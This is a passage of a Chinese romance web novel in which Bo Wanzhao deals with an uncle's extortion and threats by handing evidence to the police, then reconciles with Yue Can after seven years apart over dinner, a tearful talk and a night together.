薄晚照低垂的眼神小心翼翼,每一个靠近的动作也小心翼翼。 在两人唇要碰上的时候,越灿藏着过分的心跳,稍稍转过头。 薄晚照看在眼里,回避的小动作,很明显意味着拒绝,尽管越灿让她抱…… 越灿低头没再看薄晚照,只是淡淡寒暄着:“这两天很累?” “嗯。”薄晚照应了应,意识到这个拥抱里或许同情更多。她闭眼,又安静抱了几秒,适时松开手臂。 身后的温暖消失,越灿又升起股失落。 晚上一起吃完饭,越灿喂了会儿猫,便上楼去了,没待太久。 人走后,房间里恢复冷清。 薄晚照抱着小猫窝在沙发里休息,越灿今晚的主动,只是因为那天自己揭开了旧伤疤,给出的关心安慰吗? 她低头哄了哄猫,继续走神,越灿现在不愿接受真实的她也很正常。 七年过去,曾经的喜欢还能剩多少?至少不会再有当初的不顾一切了。 薄晚照抬头看看窗外夜色,漂亮依旧,即便没有结果,她也不后悔回南夏,她不再厌恶这座城市了,这里有她放不下的美好回忆。 小猫像是能察觉到人的情绪,小脏脏包往她怀里蹭了蹭,似在撒娇。 薄晚照浅浅笑了下,但笑容掩不住眼底的失落怅然。 越灿上楼后也心神不宁,每次她一对薄晚照动摇,又会立马想起薄晚照一走了之的那些年,那些伤心就像深深刻进了骨子里,她同样放不下。 心烦意乱。 她失眠到很晚才睡。 “昨晚没睡好吗?” 薄晚照抬头看向赵茹,笑说:“有点儿失眠。” 寒暄两句,两人又谈起工作,过了会儿,秘书敲门走了进来。 “薄总,楼下有个男人……说想见您。”秘书表达得委婉,没直接说是来闹事的。 薄晚照大概猜到,还是问:“什么男人?” 秘书:“说是您叔叔。” 薄晚照:“在闹事吗?” 秘书尴尬点点头,“安保人员已经拦住了,不过他一直大吵大闹的,说要见您。” 还真找了过来,薄晚照不怎么放心上,抽空简单交代几句:“闹事的别听他胡说,让保安把人轰走,如果对方还惹事,就直接报警。” “好的,薄总。” 赵茹关心问:“没出什么事吧?” 薄晚照一笑:“没事。” 赵茹莞尔,参加互助会时她了解到了薄晚照的遭际,她觉得这个女人简直太坚韧了。 薄晚照交代过以后,安保人员不再客气,让冯冬生狠狠吃了憋。 冯冬生气得面红耳赤,他原本还想上去办公室闹,结果来了以后才发现连电梯间都进不了。 直至工作人员要报警,冯冬生才骂骂咧咧离开办公楼。 又加班到晚上,薄晚照提前联系了安保部的人,才离开办公室。 乘电梯到地下车库,电梯门一开,薄晚照闻到一股呛人的烟味。 冯冬生蹲在电梯口抽着烟,满地烟头,看样子等了一天,瞧见薄晚照后,他笑着露出一口黄牙。 薄晚照面无表情睨着他。 “你躲我啊,你躲得过吗……”冯冬生露出猖狂的笑,但话说一半,他的笑容戛然而止。 薄晚照跟没看见他一样,只是跟身后的两名保安莞尔说:“辛苦了。” “哪里,薄总客气了。” 薄晚照云淡风轻离开,步伐干练,笔挺的背影高挑从容。 “哎……”冯冬生刚准备追上去,就被两个青年男人架了起来,眼见着人消失在自己眼皮底下。 一个保安吼道:“老实点儿,想干嘛啊你,想蹲局子?” 冯冬生:“我是她叔,找她有事,你们凭什么抓我,你们警察啊?” “我们不是警察,但可以送你去见警察。” “靠,我真是她亲戚。” “啧,你撒泡尿照照自己吧,还亲戚,人家搭理你吗?一把年纪还这么不要脸?” 晚上,薄晚照又收到一堆骚扰短信,都是冯冬生发来的,看样子是急了,什么话都往外说。 【就这么对你叔是吧?那我就缠到底了,看谁耗得过谁】 【你以后别想有好日子过了】 【躲得过初一躲不过十五,惹急我,我弄死你信不信?】 …… 薄晚照又给冯冬生打了个电话,她有意缓和了口吻,“冯冬生,怎么样才能放过我?” 听到示弱的话语,冯冬生明显开心起来,一时间声音都飘了,“知道怕了啊?你丫的先前不是挺嚣张吗?再嚣张一个给我看看?” 薄晚照又说:“你还打算骚扰我多久?已经影响到我工作了。” 冯冬生大笑起来,语气更加狂妄:“还是那句话,五十万,你不给我就一直骚扰下去咯,你就当花五十万买个清净。” 薄晚照:“五十万,你怎么不去抢?” 冯冬生:“我的好侄女有钱,我还去抢干嘛?你就说给不给吧?” 薄晚照:“不给。” “不给?”冯冬生又被激怒了,“行,那你给我等着,我有的是办法弄死你,咱们走着瞧。” 顶着恶心交谈,等录好音,薄晚照才挂断电话,再顺手将号码拉黑。 接下来冯冬生又去了写字楼,这次走的卖惨路线,拉着个条幅跪在写字楼门口,吸引不少人围观录像。 当然,他没猖獗多久,就被警察带走了。 录音,短信,视频,薄晚照有条不紊整理好交给了警方,巨额敲诈勒索,威胁恐吓,证据确凿。 薄晚照并没被这段风波影响到什么,就是有点浪费时间,她照常工作,节奏不乱。 越灿压根不知道薄晚照被骚扰的事,直到下午钟然在微信上给她转了一条视频…… 【钟然】这不是晚照姐吗?发生什么事了? 越灿点开视频看,画面里薄晚照在跟一个咄咄逼人的老男人交涉,男人无理取闹像条疯狗,旁边还有警察。 评论区都是吃瓜八卦的。也有知情人士评论一句:这个老登想讹钱,天天来我们公司闹。 越灿皱眉,发生了这么多事,但这两天薄晚照跟没事人一样,她毫不知情。 又不告诉自己…… 临近下班,薄晚照想了许久,还是给越灿发了微信,问晚上要不要一起吃饭。 不久,收到的回复出乎她意料。 【越灿】我来接你 越灿提前了一刻钟到达,她就站在楼下等着,今晚风大,吹得她发丝凌乱。 薄晚照出来后第一时间看见熟悉的身影,她走近,低声笑问:“站外面不冷吗?” 越灿盯着她许久,“你最近被骚扰了?” 薄晚照神情顿了下,不知道越灿是怎么得知这件事的,“没事,已经处理好了。” 又一个人默默扛下来了,越灿闷闷不乐望着她,“你又不告诉我。” 薄晚照默然,那晚越灿回避她,她以为越灿想要避嫌,她自己也没把握,越灿还愿不愿意介入她的生活…… “你那天不是说了,以后什么都告诉我*吗?”越灿亮声反问,彻底藏不住紧张和担心,她越说越急,“你为什么又不告诉我?!” 薄晚照目光柔和下来,她认真注视着越灿眼眸,“我错了,这件事该告诉你的。” 越灿还是生气,生气是因为心疼,就算薄晚照让她伤心了好久,但薄晚照一受委屈,她还是好心疼,她不想薄晚照什么都一个人扛着。 薄晚照柔声安抚她:“我没事。” 越灿赌气:“谁管你有没有事。” 薄晚照靠近,继续哄着:“不会有下次了。” “你再这样……”越灿说着,意识到她们什么关系都没有,有什么资格提要求,她缓了缓,最后朝薄晚照蹦出一句,“你再这样我不让你追了。” 薄晚照酸涩笑着,她看到了熟悉的越灿,知道她伤痕累累的一切后,还是像当初一样在意她,她好像还没有弄丢。 “你还笑。”越灿蹙眉,“薄晚照,我真不想理你了。” 薄晚照帮她整理头发,顺手揉了揉,“什么都能和你说,是吗?” 越灿唇抿着,不知道她要说什么。 “我这两天很难过。”薄晚照如实告诉她,“今晚多陪一下我,可以吗?” 第65章 我很希望自己可以喜欢你。 越灿发现这些年,某人脸皮厚了好多,以前的薄晚照绝对不会这么跟她说话。这段时间,她自然感觉得到薄晚照在努力坦诚,让自己靠近。 薄晚照又问:“晚上想吃什么?” 越灿低哼道:“随便。” 薄晚照想了想,“去梧桐巷吗?” 越灿静了静,没有拒绝。 梧桐巷外的街道依然热闹,深秋,道路两旁高大的梧桐一片金黄,被温暖的路灯照亮,别样浪漫。 下了车,两人并肩走在落叶满地的柏油路上,多年过去,旧街还是残留许多熟悉,轻而易举勾起回忆。 梧桐巷外除了夜市,沿街还有许多餐饮小店,以前她们不想做饭的时候,常在街边小店解决。 薄晚照回想,越灿唯一经历过的苦日子,大概就是陪伴自己的那段时间。她那时总以为越灿腻了就会走,从未想过越灿会一腔热忱地黏着她,更没想过越灿会喜欢她。 沿街走了几分钟,薄晚照瞧见曾经吃过的面馆还在营业,她看看越灿,“吃面?” 越灿无所谓,“嗯。” 面馆翻新过,没以前破旧了,老板笑容还是热情,只是身材胖了一圈。 没看菜单,薄晚照先问越灿:“三鲜面,不要香菜?” 越灿发觉很多细节薄晚照依然记得,“你记这么清楚?” “嗯。”薄晚照坦然承认,跟越灿有关的,她都记得清楚,原本这些记忆应该随着时间推移而蒙尘模糊,但因为回忆擦拭得频繁,清晰如昨。 点了两碗三鲜面,越灿尝了一口,还是以前的味道。 面馆里坐了不少人,大部分都是附近过来的大学生,老板也是一直做学生生意,相比之下,越灿与薄晚照成熟,成熟得与这家小店格格不入。 越灿想到以前来吃时,自己也是十几岁的年纪,薄晚照也不像现在这样成熟优雅,其实那些时日挺苦的,但她当时好开心。 吃了一会儿面条,薄晚照问:“你怎么知道我被骚扰的事?” 越灿说:“看到别人发的视频了……” 薄晚照解释:“是那个男人的弟弟来找麻烦,我妈就是被他刺激到的,他想问我要钱,打了几个骚扰电话,我已经报警处理,没什么事,别担心。” 越灿听薄晚照平静说完,薄晚照总是这样,不需要别人,一个人就能把问题都处理好。她夹着面条,佯装轻飘飘地问:“我的担心是不是很多余?” 薄晚照不需要她,她很讨厌这种感觉,就像七年前,薄晚照不需要她的喜欢。 “没有,”薄晚照看她,“不是多余……” 越灿闷闷低下头。 薄晚照:“还是生气?” 越灿没说话,薄晚照说是让自己陪她,现在倒更像是在哄自己。她不想总是单方面被薄晚照照顾,她想让薄晚照知道,自己足够成熟可以帮她分担,十九岁开始,她就有了这个念头。 “美女,打扰一下。” 听到搭讪声,越灿和薄晚照齐齐抬头,往一旁看了看。 年轻男人的目光落在越灿身上,壮着胆子笑嘻嘻问:“能加个微信吗?” 这种搭讪越灿见怪不怪,她还未开口,先听到薄晚照先冷冷回了对方一句,“不可以。” 年轻男人窘迫笑着,“啊?” 薄晚照抬眉,从容告诉他:“我在追她。” 对方呆了呆,反应过来:“这……这样啊,那祝你们百年好合。” 这画面,越灿看着无语又有点好笑,搭讪的人离开后,她瞥一眼薄晚照,有话要说不说。 薄晚照主动问:“怎么了?” 越灿忍不住吐槽:“你现在好厚脸皮啊。” 薄晚照轻声反问:“不是实话实说吗?” 越灿:“……”原来理性的人直接起来,才是最没脸没皮的,甚至没半点害臊。 面条分量挺大的,吃完两人顺着街道散步消食,不知不觉,拐进了梧桐巷。 因为地段好,梧桐巷的房子虽破,但不缺人气,小巷里的烟火气浓厚,在南夏不多见了。 这条小路,她们以前一起走过许多遍,顺着笔直的小巷一直走到底,就是那间出租屋。 出租屋前有一株梧桐树,如今看起来更苍老了。 走到梧桐树下时,两人脚步都慢下来,看着熟悉的风景,都沉默了很久。 风吹得树叶往下落,落在越灿发梢,薄晚照转过身,帮她拈走枯叶。 薄晚照贴心照顾她的动作还是无比自然,越灿望着薄晚照脸庞,以前她多希望薄晚照不要把自己当妹妹看待,如今薄晚照不把她当妹妹,她却没办法像以前那样一腔热情,心里有疙瘩了。 曾经就是在这里,第一次表白就狠狠被拒了,越灿一辈子都忘不掉,她苦涩笑了笑,跟薄晚照说:“我没想过你会回来。” 薄晚照:“觉得很莫名其妙?” “是。”越灿干脆点着头,她真的没想过薄晚照还会回来,她本来还傻乎乎怀着期望,但七年时间,不切实际的期望最终还是被一点一点磨没了。 站定片刻,薄晚照又道:“我没有不留恋,没有不想回来,我想回南夏……” 想回南夏?越灿出神望着她,当初的情形还历历在目,她难以相信薄晚照的话,但凡薄晚照有留恋,怎么会冷淡无视自己的等待?连半句消息都不回,留着自己一个人伤心难过,直到死心。 “那你为什么不回来?为什么不理我?”越灿努力平稳着呼吸,让自己不要卑微狼狈,但眼眶还是渐渐红了,忍了多年的话倾泻而出,“我在等你,可你为什么一直不理我?你知道我去了好几次京海吗?我想见你……” 薄晚照声音沉了沉,“我知道……” 这一声很残忍,对她们双方都是。 越灿再开口,嗓音颤得更厉害:“你知道为什么还是不见我?我当时想,只要你肯回我一句话,我一定要死皮赖脸主动,不跟你分开,可你一句话都不肯跟我说……” 薄晚照眼圈红了红,她知道越灿来过京海,越灿单独发给她看的朋友圈,她每条都看到了,她挣扎过很多次,想过试着给越灿回消息,但还是没勇气顶着最糟糕狼狈的一面去见越灿。 “我有想过联系你,但我不敢见你,那时候,我很糟糕……”薄晚照深呼吸着,“越灿,我觉得你不该跟我在一起,你值得更好的。” 越灿咬着牙,消化着薄晚照所说的话,泪水不自觉模糊双眼,她脑子很乱,望着薄晚照许久没说话,最后关注点还是落在薄晚照所说的“糟糕”,她吸了吸鼻子,“离开南夏以后,你是不是过得很不好?” 听到越灿的这声询问,薄晚照内心最柔软的地方被狠狠刺痛,泪水无声滑过脸庞。她没办法否认,酗酒,看心理医生,大把大把吃药,她那时觉得自己早晚会变成薄芹那样,很难熬,她真的很想有越灿陪着,但理智告诉她,绝对不可以把越灿捆在她身边,越灿应该有更好的人生。 看薄晚照长久沉默着,越灿明白她一定过得很不好,“你为什么不早点告诉我?我不会让你一个人的,我会陪着你。” 薄晚照就是担心越灿这样,“可我不想你耗在我身边,我希望你能一直开开心心的……” “那你没想过我会难过吗?你甩开我我就能开心吗?”越灿啜泣说着,那些点滴回想起来,还是让她心脏抽疼,“你都没给我选择的机会。” 薄晚照心疼帮她擦着眼泪,她低估了越灿对她的喜欢,后来,再也刷不到越灿的朋友圈消息,她知道自己彻底淡出了越灿的世界,欣慰也有痛楚也有。 在她的设想中,越灿忘掉她之后,会和更好的人在一起,会过上更好的生活。毕竟越灿还年轻,人生才刚起步,会接触更大的世界遇见更多的人,年少时再轰轰烈烈的欢喜也会变成不痛不痒的回忆。 分开的几年,她会悄悄关注越灿社交账号更新的视频,了解越灿的点点滴滴,她知道越灿当了专业模特,事业风生水起,意气风发,很受人欢迎。视频里的越灿恢复了明媚开心,她一直以为越灿又回到了无忧无虑的状态,直到那天晚上,她看见越灿喝醉哭得心碎,才意识到自己伤越灿有多深。 “是我错了。”薄晚照贴近,不停帮她擦着眼泪,一遍遍说着,“是我做的不好。” 今晚的风似乎都是酸的,吹得人鼻子眼睛发涩,难受。 越灿垂头眼泪不止,好像有许多话想说,又不知道说些什么。 “你跟我表白的时候,我很心动,很希望自己可以喜欢你。”时隔多年,在同样的地方面对同样的人,薄晚照坦诚了当年真实的想法,也算弥补遗憾了。当初拒绝越灿的那声“不可以”,她更像是在警告自己。 迟来七年的回应,越灿缓缓抬起头,看见薄晚照同自己一样眼圈红肿,眼神认真。 薄晚照理解越灿对自己的犹豫,无论有什么苦衷,她一声不响离开七年,给越灿带来的伤害都是真实的,现在越灿每次面对她,都会想起曾经的伤心。 她轻声问越灿:“如果一个人伤了你的心,让你难过了很久很久,现在她想弥补,你还愿意接受吗?” 第66章 我一直喜欢越灿。 越灿脑子里没有确切的答案,薄晚照给她的心动和伤痛都刻骨铭心,她酸着鼻子,“我有点乱。” 薄晚照又揩了揩她脸上的泪痕,如果分开带来的隔阂和伤害能用几句话抚平,这个世界也就没那么多错过了,她没催促越灿给出回复,只是柔声说:“嗯,不用急着回答。” 这晚两人在街头安静散步了很久,不过心却不宁,像呼呼作响的晚风一样喧嚣。 回到住处已经夜深,薄晚照看了看越灿眼圈,“家里有冰块吗?” 越灿有点魂不守舍:“嗯?” “冷敷一下眼睛,不然明天要肿,上镜不好看。” 薄晚照先拉着越灿回了自己那,让她坐在沙发上,用毛巾包了冰块,低声命令:“眼睛闭上。” 越灿缓缓合上眼,凉意覆盖眼周,舒缓灼热。 薄晚照动作轻柔,视线贪婪掠过越灿脸庞,反复徘徊,没有身份的暧昧亲近,很磨人,又无可奈何。 冷敷过之后。 薄晚照问:“舒服点吗?” 两人贴得有些近,越灿觉得自己靠近薄晚照时很难冷静,脑子都是热烘烘的,“我回去了。” 薄晚照点头,“早点休息。” _ 工作还是忙碌。 越灿接了nova的广告宣传片,nova今年的周年企划主题是展示女人不同阶段的生命力,所以邀请了各个年龄段的模特,越灿的气质很符合“生命力”这一主题,率先就收到了邀约。 在拍摄片场越灿碰到过一次薄晚照,两人各自忙着,除了微妙对视了两眼,没有搭话。 越灿补着妆,偶尔余光看看,薄晚照在职场上雷厉风行的模样,倒是完全符合她曾经对薄晚照的猜想,成熟温柔,坚韧强大,这样的女人的确很吸引人,也不怪她身边的人眼睛都快看直。 薄晚照跟身边的工作人员交谈了几句,漫不经心往里走了走。 越灿同她碰上目光。 薄晚照停下脚步,视线定格在她脸庞,夸了句:“很棒,越老师。” 越灿短暂怔住,尔后也装模作样地礼貌笑了笑,“谢谢薄总。” 薄晚照唇角含笑,声音更轻了些:“我忙去了。” 话里的暧昧只有她们两人能懂,越灿点点头,等薄晚照转身离开,她又转头看了看,下意识目光追随。 下午茶时间,越灿照旧喝的黑咖啡,抬眸瞥见有人朝她过来,是这次企划的负责人赵茹。 工作原因,她跟赵茹接触过挺多次了,“赵总。” “辛苦了。”赵茹说,“这次是周年活动,会比较累。” “还好,最多的时候我一天拍十几个小时。”越灿又喝了口咖啡。 “很厉害。”赵茹也坐下来休息,要了杯热拿铁,“很喜欢你的风格,以后有机会多多合作。” “一定。”越灿礼貌笑。 干坐着不说话也无聊,过了会儿,越灿主动聊着:“赵总,你跟……薄总,认识很久了吗?” 听越灿突然提起薄晚照,赵茹安静看了她一眼,“是啊,我跟薄总在一起工作好多年了,她人很好,特别优秀。” 越灿笑说:“看出来了。” 赵茹问:“你很好奇薄总的事?” 越灿:“有点儿。” 赵茹莞尔,合作过两次,她看越灿对薄晚照都很上心,还有刚刚碰面,越灿眼神也挺明显的,她大胆猜测,“这么关心,你是不是想追薄总?” 越灿猝不及防默了默。 赵茹又笑笑,“薄总优秀漂亮,对她心动很正常,想追她的人很多。” 越灿:“……” 赵茹像找到了同病相怜的人,得闲跟越灿多聊了几句,“不过她可不好追。” 越灿反问:“怎么说?” 赵茹说:“你别看她看起来温柔,其实很高冷的,她不会让别人靠近,连追求的机会都不会给。” 越灿静静听着,以前很长一段时间,薄晚照对她也是这样。 赵茹摇头感叹:“追不到她的。” 越灿听赵茹说得确切,又问:“你怎么知道?” 赵茹无奈笑说:“因为我追过。” 这件事越灿知道,那天她依稀有听到赵茹在对薄晚照表白。 赵茹:“她说她心里有放不下的人,挺多年了。” 放不下的人,越灿神情僵了僵。 “你也很意外吧?她给人感觉冷冷淡淡的,居然会有放不下的人,我本来以为她只是搪塞我,但应该是真的,这么多年我从来没见过她谈恋爱,甚至连暧昧对象都没有过。” 越灿捧着咖啡杯,迟迟没说话。她知道薄晚照一直没谈恋爱,但她从未敢想,会是因为自己…… 赵茹看越灿黯然的反应,半开玩笑问:“这么失望?” 越灿失神笑笑,没听清赵茹后面在说些什么,只知道赵茹咖啡喝得差不多,起身离开了。 nova对细节的要求几近严苛,尤其是前期拍摄,需要模特和摄影师不断的配合尝试,再从大量成片中挑选最契合主题的。 越灿一直工作到天黑,晚上谭茗让她回家里吃饭,说外婆外公过来了,一家人聚聚。 还没开饭,她坐在沙发上心不在焉玩着手机。钟然给她发了消息,关心顺便八卦一下她和薄晚照的情况。 已经好几天过去,那晚的问题她还是没给薄晚照答复,薄晚照也没有催她,两人之间有点暧昧又隔着距离。 越灿回了钟然一句“不知道”。 “晚照……” 越灿抬抬头,隐隐约约听到谭茗在给薄晚照打电话,关于基金会慈善拍卖的事儿,谭茗创立的灿烂基金会每年都会举行几场慈善活动。 “定在下个月十号,有空过来捧场吗?”谭茗在阳台上来回踱着步子,“怎么又要出国,这才回来多久?这样啊……嗯……” 听到谭茗说的话,出国?越灿脑袋一下就木了,嗡嗡乱作一团,薄晚照又要走了?不是说了会留下来么? 来不及冷静,越灿直接从沙发上起身,匆匆离开,片刻都没犹豫。 “哎……”谭茗看了看门口匆忙急促的身影,不明所以,怎么就冒冒失失出门了,饭也不吃。 闯过夜色,越灿第一时间开车回去了,她攥着方向盘,脑子里一团糟,车程不远,十几分钟到达。 门铃声响起时,薄晚照在逗猫,她发现是越灿,开了门,越灿杵在门口,脸色很差很差。 “今晚不是回家吃饭?”薄晚照留意她情绪不对,“怎么了?” 越灿赶过来得匆忙,呼吸还有些急,她盯着薄晚照一时不知道说什么,进屋后她凭着冲动,直接将薄晚照抵在了墙上,唇顺势凑了过去。 “嗯。”薄晚照没有反应时间,灼热的亲吻落在自己唇间,她低声叫,“越灿……” 越灿搂住薄晚照的腰,趁她说话张唇时,凑紧吻得更急。她怕薄晚照再走,一见面急呼呼的,用了最直白的方式表达情绪。 一切来得毫无防备,心跳疯狂,薄晚照轻叹了叹气,也将越灿搂住,凑唇同她吻在一起。 互相吮吻着,呼吸暧昧纠缠。 爆发的情绪加上急切亲吻,让越灿发晕,她不清楚自己缠着薄晚照强吻了多久,睁开眼时,两人都双目朦胧。 薄晚照摸着越灿脸颊,气息混乱,唇妆都花了。 不清不楚的热吻后,她们不清不楚对视。 “又喝醉了?”薄晚照问着,但并没有闻到酒味。 越灿悄悄咬牙,红着眼眸问了一连串:“你又要走?不是要追我么?才追多久?” 薄晚照不知道什么情况,但只是看越灿这模样,心揪疼,“我哪有要走?” 越灿急着说:“你今晚不是跟我妈说又要出国了?!” 薄晚照才知道这里面的误会,她松了松气,耐心解释:“是出差,今天定的,我还没来得及告诉你。” “出差?你不是要走?”越灿懵了懵,一听到薄晚照要出国,一门心思以为薄晚照又要走,压根没细想,就一股脑冲了过来。缓过神,才意识到自己敏感冲动了。 “我怎么会走?答应过你留下来的。”薄晚照用指尖擦了擦她嘴角的唇膏,细声说着。 越灿哑然,这一刻也清晰意识到,无论如何,她都不会再让薄晚照离开了,七年前的分别她不想发生第二次。 薄晚照抱着怀里的人,轻轻安抚,心脏的位置抽痛,她好像看到了七年前的越灿,也是这样着急来找她。但那时她躲了起来,越灿一个人什么也没能找到,只能在电话里哭得崩溃…… “以后我都陪在你身边。” 情绪爆发倾泻出来,越灿再也扛不住,抬起手臂将薄晚照紧紧抱住,默默加深拥抱,带着眷恋。 薄晚照终于感觉到拥抱带来的踏实,蔓延全身,温暖得想哭。两人抱了许久,她才问越灿:“想好答案了吗,还愿意吗?” “不愿意……”越灿缓了缓,说得认真,“除非她是薄晚照。” 这些年,她讨厌薄晚照,恨过薄晚照,可不管有过多少情绪,她还是喜欢薄晚照,还是害怕薄晚照离开自己。她自认挺记仇的,但薄晚照不一样,薄晚照永远能被她特别对待。 薄晚照泪水盈了眼眶,偏头吻在越灿嘴角。 极尽温柔的一下,越灿心都颤了颤,她耿耿于怀,蹭着鼻尖问着薄晚照:“你那天说有喜欢的人,你喜欢谁?” 她想听薄晚照亲口说出来,否则,她感觉不像真的。 “喜欢越灿。”薄晚照红着眼,告诉她,“我一直喜欢越灿。” 第67章 情不自禁缠着薄晚照回吻。 这份感情,薄晚照曾以为再也不会坦白出来,会永远藏在心底成为秘密。但事隔经年,她始终没办法放下,辗转纠结,她还是决意回到南夏。 或许越灿早就忘了她,或许越灿身边已经有了其他人,或许越灿不可能再原谅她……但哪怕还有一丝可能,她也想义无反顾尝试。 她总觉得自己的人生充满不幸,她未曾想过幸运会落在她头上,就像她没想过越灿还会像当初一样喜欢她。此刻她抱紧着越灿,庆幸一切还来得及,又心疼越灿傻傻等了她这么多年,越灿应该过得更好的…… 看越灿刚刚着急失控的模样,薄晚照满目心疼,又有浓浓自责,她最希望能够无忧无虑的女孩,这些年却被她伤得最深。她颤声说着:“你傻不傻?” 越灿更委屈了,“当初是你不要我,你还说我傻?你……” 薄晚照没等越灿说完,按捺不住吻住了越灿唇边,七年前在越灿表白的时候,她就想这样回应。 那么心动喜欢,哪里舍得不要。 吻温柔又热情,越灿哼了哼鼻息,再顾不上说话,她尚未合眼,一时感觉像做梦,薄晚照在亲她,主动亲她。 薄晚照轻轻扣住越灿后脑的同时,张唇加深了亲吻,压抑已久的占有欲终于有了宣泄机会。 越灿感觉到薄晚照吻得很急,含着她唇瓣反复吮吸,她迷糊合上眼,心跳过速带来轻微的晕眩感,而灼热滚烫的呼吸纠缠又足够真实。 深拥和热吻让薄晚照的那句喜欢,变成了可以触碰的具象,越灿想抓住,她张合唇瓣,情不自禁缠着薄晚照回吻。 薄晚照是喜欢她的。 她感受到了…… 薄晚照送过的主动足够热烈,一寸寸越来越深,越灿招架不住,忍不住边吻边哼,气息太急。 她们不是第一次接吻,但是第一次吻得这么坦诚,这一刻说不上甜蜜,更多是酸涩,等待七年发酵出的酸涩,这种酸意从鼻尖开始一路蔓延到心脏,亲吻越深,泛滥越浓。 越灿又哭了,多年来的委屈和难受在此刻放大到了极致,她逐渐亲得用力,唇舌混着泪水在深深勾缠,发苦发涩。 头脑发热吻了许久,才停下。 薄晚照慢慢松开唇,按在越灿后脑的手心安抚揉着,将人牢牢抱在怀里,除了坚定的拥抱,其他一切言语都无力。 越灿心口起伏,埋头深深吸着薄晚照颈窝里的香气,彻底认栽了,她就是不愿失去薄晚照。 良久,越灿闷头呢喃:“你再多追一下我。” 两人刚接了吻又说这句,似乎顺序不对,但她喜欢薄晚照追她时的感觉,在意偏爱得明显,不需要她去猜去想。 “好。”薄晚照用脸颊蹭蹭她头发,笑着柔声应着,终于又肯对自己任性撒娇了。 直到大衣口袋里的手机又震动起来,越灿才回神松开薄晚照,谭茗给她发了一堆消息,还有未接电话,她简单擦了擦眼泪,接听。 谭茗着急问:“你去哪了?怎么才接电话?” 越灿缓了下呼吸,“我回自己这边了。” 一开口还是浓浓的鼻音,亲妈一听就察觉到了不对劲,谭茗紧张问:“怎么了?哭了?” “刚刚……”越灿低低头,现编现凑说着,“看了一个讲母女亲情的视频,太感动了。” 谭茗将信将疑,“你这么孝顺的?” 薄晚照在一旁安静听越灿胡说八道,想笑,她悄悄帮越灿擦擦泪痕。 谭茗又问她还回不回去吃饭。 越灿说:“不回去吃了。” 谭茗还是不大放心,“你一个人?真的没事?” “我跟姐在一块儿。”越灿脱口而出,这几个月她都习惯叫薄晚照姐了,跟谭茗这么说完,她又想到方才面红耳赤的深吻,有点微妙。 听到薄晚照陪着越灿,谭茗就放心了,“嗯,那好,有事跟妈说。” “知道了。” 越灿挂断和谭茗的通话,情绪也平复下来,她想到今晚莽撞跑过来的情形,后知后觉产生一股尴尬,其实冷静想想就知道,薄晚照怎么可能突然要走,明明说了在追她,但凡多问谭茗一句,也不会弄成这样。 薄晚照能猜到越灿是第一时间赶过来的,因为她才跟谭茗打完电话没多久,“还没吃?” 越灿:“嗯。” 薄晚照跟她说:“等一会儿,我去做饭,很快就好。” 小脏脏包走了过来,探头探脑朝越灿撒娇。越灿笑了笑,弯腰抱起小家伙,来喂过它几次,小家伙完全把她当自己人了。 薄晚照也直笑,逗了逗越灿怀里的猫,才去厨房做饭。 空气中有恰到好处的淡香,越灿来过薄晚照这里好几次,有发现薄晚照生活习惯的变化,薄晚照会在家里摆上鲜花和鲜切绿植,会更换不同的好闻的香薰。 越灿有点失神,因为这些习惯很像自己的习惯,包括每一款香薰的味道都是自己喜欢的。 给小脏脏包喂了点吃的,越灿也走去厨房帮忙。 薄晚照看见,没让她出去,两个人就像曾经一样,窝在厨房里一起准备晚饭,只是现在的环境没有当初清苦。 越灿低头洗菜。 薄晚照瞥见她头发垂下来,顺手替她夹到耳后。 熟悉的贴心举动,越灿转头看她,跟曾经又不太一样,以前的薄晚照不会这么久久盯着她看,总是立马回避,现在回想起来,那时候的薄晚照更像是在故作疏离。 薄晚照:“饿不饿,先吃点水果?” 越灿摇摇头。 两人刚接完吻,一点点的触碰跟对视都暧昧,是不藏着掖着,明目张胆的暧昧。 晚饭薄晚照照顾了越灿的清淡口,做了菌菇汤和蒸菜。 薄晚照盛了汤,“放会儿再喝,烫。” “嗯。”越灿表面镇定,但整颗心都是浮着的,很难淡定得起来,大概是今晚的种种发生得太突然。 薄晚照静静喝着汤,然后小声问越灿:“今年的生日,可以陪我过吗?” 十一月三日,快到了,越灿每年都记得清楚,她曾经答应过帮薄晚照过生日,却没想到这个约定,过了七年都还没实现。薄晚照的生日偏偏是在最萧条的季节,每次碰到这天,她都格外提不起劲。 想到过去难免又有些难受,越灿一时没言语。 薄晚照哪能不知道越灿的心情,她也没说什么,伸手摸了摸越灿脸颊。 越灿知道这是安抚,虽然心里还是酸胀,但又好了些。 晚间又降温了,风呼呼吹着。 薄晚照看看窗外,“今晚好像要下雨。” 下雨,越灿对这个词敏感,她听薄晚照这么说,“这几天都没雨。” 薄晚照挑眉又说:“万一今晚下呢?” 越灿信誓旦旦说:“看了天气预报,不会下的。” 薄晚照瞧着她,一时缄默。 越灿见状,没忍住笑了一笑,有点俏皮,她知道薄晚照说下雨的潜台词,偏跟她作对。 薄晚照也笑了笑,看穿某人的小心思,她不兜兜转转,语气柔和:“今晚别走了。” 对视间笑容默契,让今晚酸涩沉郁的氛围稍稍轻松些。 越灿摆出了熟悉的不饶人口吻,“有你这样追人的么,上来就留人过夜?不矜持点儿?” 薄晚照不急着回答,只是细细盯着她眉眼,似笑非笑,温润好看。 越灿佯装若无其事,但已经不争气被盯得心软了软,这么多年,她就是吃薄晚照这套,她承认自己的确很没出息…… 薄晚照贪恋看着眼前的人,苦涩认真,“我想抱你睡。” 第68章 这是吻女朋友。 越灿这晚上没走,薄晚照极少提请求,一旦提出来,她很难拒绝。 她洗完澡穿了薄晚照的睡袍,两人同款,像情侣装。 薄晚照上床后,立即凑近将身畔的人揽在怀中,她朝越灿轻喃了声:“让我抱着。” 越灿身侧暖了暖,竟从薄晚照的动作中感觉到了依赖,她顿了两秒后,闷闷转过身,也将薄晚照抱住。 薄晚照嘴角微扬了扬,回国后一直紧绷的心神终于开始放松,这个拥抱等了太久。她轻抚着越灿后背,触觉带来更多的真实感,是抓得住的。 越灿也彻底对现实妥协,不再逞强抗拒薄晚照的靠近,她闷头往薄晚照肩窝里钻去,手臂紧紧揽住她的腰,这几个月逃避得好累,这么抱着能缓解疲惫。 薄晚照摸着她头发,看她一直闷着头,低声问:“难受?” “你说呢?你这么久才回来,我真以为你再也不会回来了。”越灿委屈哼道,这些年她那么努力地放下,结果薄晚照一回来就让她前功尽弃,她生薄晚照的气,也生自己的气,但气也没用,喜欢就是喜欢。 薄晚照再抱紧了些,轻轻柔柔抚摸她头发。 